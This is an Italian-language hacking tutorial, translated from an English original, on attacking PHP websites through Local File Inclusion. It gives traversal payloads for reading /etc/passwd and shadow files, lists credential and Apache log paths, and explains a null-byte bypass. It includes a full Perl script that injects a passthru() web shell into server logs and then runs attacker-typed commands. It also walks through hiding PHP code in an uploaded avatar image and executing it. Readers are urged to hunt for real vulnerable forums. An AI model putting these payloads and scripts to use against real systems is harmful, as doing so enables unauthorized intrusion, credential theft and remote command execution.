##
#Author: d3fcrash#################################
#Tutorial translate by cobra90nj cobra90nj@gmail.com#
##

Questo tutorial vi guiderà come attacare un sito sfruttando la LFI (Local File Inclusion).

Come primo punto diamo un occhiata al codice vulnerabile:

```
<?php
$page = $_GET[page];
include($page);
?>
```

Questo codice avviamente non dovrebbe mai essere presente nelle pagine dinamiche perchè la variabile $page non è parsata dal php, ma purtroppo questo accade spesso.

Ok, ora che sappiamo perchè è vulnerabile cerchiamo di sfruttare questo a nostro vantaggio. Per prima cosa diamo un occhiata come si comportano gli url nel browser navigando nel sito della vittima. Immaginiamo il file "test.php" presente nella directory "test", e se digitiamo dal browser "www.vittima.org/test/test.php" riceviamo il contenuto presente nella pagina "test.php" giusto ? Ok, ora supponiamo che il codice che abbimo esaminato precedentamente fosse presente nella index del sito è la pagina "test.php" fosse recuperabile tramite la index cosi facendo "www.vittima.org/index.php?page=test/test.php" cosa accade ? molto semplicemtne visualizzerete sul vostro browser il contenuto della pagina "test.php". Ma mettiamo il caso la pagina che vogliamo recuperare si trova in directory differenti come facciamo ? Mettiamo il caso che la pagina da recuperare si trova in "www.vittima.org/test.php" e la index si trova in "www.vittima.org/test/index.php" facciamo cosi "www.vittima.org/test/index.php?page=../test.php". Come avete immaginato i ".." sevono per scalare le directory, e se volessimo scalare di più directory utilizzeremo lo slash ogni doppio puntino, "../.." scalerà di due directory.

Ok, ora che sappiamo spostarci per le directory, possiamo arrivare anche in alcune dove non si dovrebbe, tipo se il sito risiede su un server Unix possiamo vedere il file delle password del server, e come abbiamo spiegato prima il numero di directory "../../.." possono variare a seconda dove si trova il file vulnerabile:

www.vittima.org/index.php?page=../../../../../../../etc/passwd

Ok, ora se abbiamo il file con le password molto probabilmente non sapremo leggerlo, o perchè il le password sono oscurate, cioè sono leggibile solo da root, o non ci è chiaro la sintassi, ecco un esempio di ciò che dovremo visualizzare:

Username:password:UID:GID:full_name:directory:shell

Esempio:

Mionome:miapassword:503:100:FullName:/home/nome:/bin/sh

Tutto quello che dobbiamo fare in questo caso, è prendere il nome utente e la password ed utilizzarla, ma come detto prima se le password solo leggibile solo da root ? si visualizzarà qualcosa di questo tipo:

Username:x:503:100:FullName:/home/nomeutente:/bin/sh

Come avrete notato ora la password è segnata con una "x", e quindi è codificata nella directory "/etc/shadow" che molto probabilmente non potremo avere accesso perchè leggibile solo se si è root, quindi dovremo avere permessi che non abbiamo.

Ma alcune volte possiamo vedere anche qualcosa simile a questo:

Usernane:!:503:100:FullName:/home/nomeutente:/bin/sh

Il punto esclamativo indica che la password è ora presente nella directory "etc/security/", oppure ecco alcune path dove potremo trovare il file:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Ci potrebbero essere anche delle altre che ora per questioni di tempo non scrivo, in questo caso cercare un po con google.

Altro esempio di codice vulnerabile:

```
<?php
$page = $_GET["page"];
include("$page.php");
?>
```

In questo caso, come si può vedere alla fine del file si aggiunge un ".php", è questa estensione viene aggiunta a tutti i file che andremo a digitare nel nostro browser, esempio, se andremo a digitare:

www.vittima.org/index.php?file=../../../../../../etc/password.php

(da notare l' estensione alla fie del file) questo file molto probabilmente non esiste nella directory, e in questo caso per eliminare l' estensione alla fine del file facciamo uso del null byte "00%", che appunto il server ignora tutto cio che viene dopo esso.

Ci sono anche altri modi per utilizzare questa tecnica, tipo possiamo eseguire comandi sul server iniettando codice php in httpd, e provare ad accedere ad essi tramite i log utilizzando la LFI. Ecco alcune path dove potrete trovare i log:

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Ok, ora che sappiamo dove sono i log, dobbiamo dare un occhiata a loro, e vediamo cosa contengono, in questo esempio si userà un log che memorizza "not found files" e il codice php <? passthru (\$_GET[cmd]) ?>, che abbiamo inserito tramite browser precedentemente.

Questo molte volte non potrebbe funzionare perchè il browser decodifica i caratteri speciali, e di conseguenza nel log troveremo %3C?%20passthru(\$_GET[cmd])%20?>. Quindi in questo caso dobbiamo usare qualcos' altro, se non si dipone di uno script, eccone uno scritto da me:

```
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="<? passthru(\$_GET[cmd]) ?>";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die
"\nConnection Failed.\n\n";
print $socket "GET ".$path.$code." HTTP/1.1\r\n";
print $socket "User-Agent: ".$code."\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "\nCode $code sucssefully injected in $log \n";
```

```
print "\nType command to run or exit to end: ";
$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die
"\nConnection Failed.\n\n";
   print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";
   print $socket "Host: ".$site."\r\n";
   print $socket "Accept: */*\r\n";
   print $socket "Connection: close\r\n\n";

   while ($show = <$socket>)
   {
      print $show;
   }

print "Type command to run or exit to end: ";
$cmd = <STDIN>;
}
```

Copiate e incollate questo script in un nuovo file, e salvatelo come "whatever.pl", successivamente modificatelo dove ritenete sia giusto, e se il sito sarà vulnerabile vi chiederà di inserire un comando, e a questo punto lascio a voi l' immaginazione.

Ultima cosa, ma non meno importante sarà quella di dare un occhiata su come il sito gestisce il caricamento delle immagini, in genere avatar, questa applicazione è presente in parecchi sistemi ma non tutti. Forse non avete ancora visto il video "Local JPG Shell injection video" su milw0rm, quindi vi invito a visualizzarlo http://www.milw0rm.com/video/watch.php?id=57.

E' necessario inserire il codice php che si desidera eseguire dentro l' immagine, per fare questo, basta usare un edito esadecimale preferito, o la possibiltà di utilizzare edjpgcom (tutto quello che dovete fare è cliccare sull' immagine con il tsto destro, selezionare Apri con..., selezionare l' immagine e digitare il codice). Ok ora che abbiamo la nostra shell nell' immagine non ci resta che individuare un form di upload immagini, ed upparla nel server.

Bene, ora che avete le basi non vi resta altro che perdere un po di tempo nel ricercare qualche forum che permette l' upload dei file e ptorvare.

Dopo aver trovato uno e avete caricato l' immagine, provare a creare un errore su di essa, (al fine di trovare il percordo del server) per esempio un errore simile a questo:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in /home/sitefolder/public_html/includes/view.php on line 37

Se non si riesce a creare questo errore tornare al file "etc/password":

Username:miapassword:503:100:Fullname:/home/Username:/bin/sh

Come si nota il nome utente è anche il nome della directory, la maggior parte delle volte è cosi, ma se ciò non accade provate altre soluzioni.

Ritorniamo alla nostra immagine, clicchiamo con il tasto destro del mouse su di essa, ed annotiamoci il nome del percorso del file:

www.vittima.org/index.php=../../../../../../home/the_other_site_dir_/public_html/path_to_youe_avatar/avatar.jpg

E se lanciamo dal browser la path esatta della immagine, vedremo il suo risultato:

www.sitovittima.org/index.php=../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg.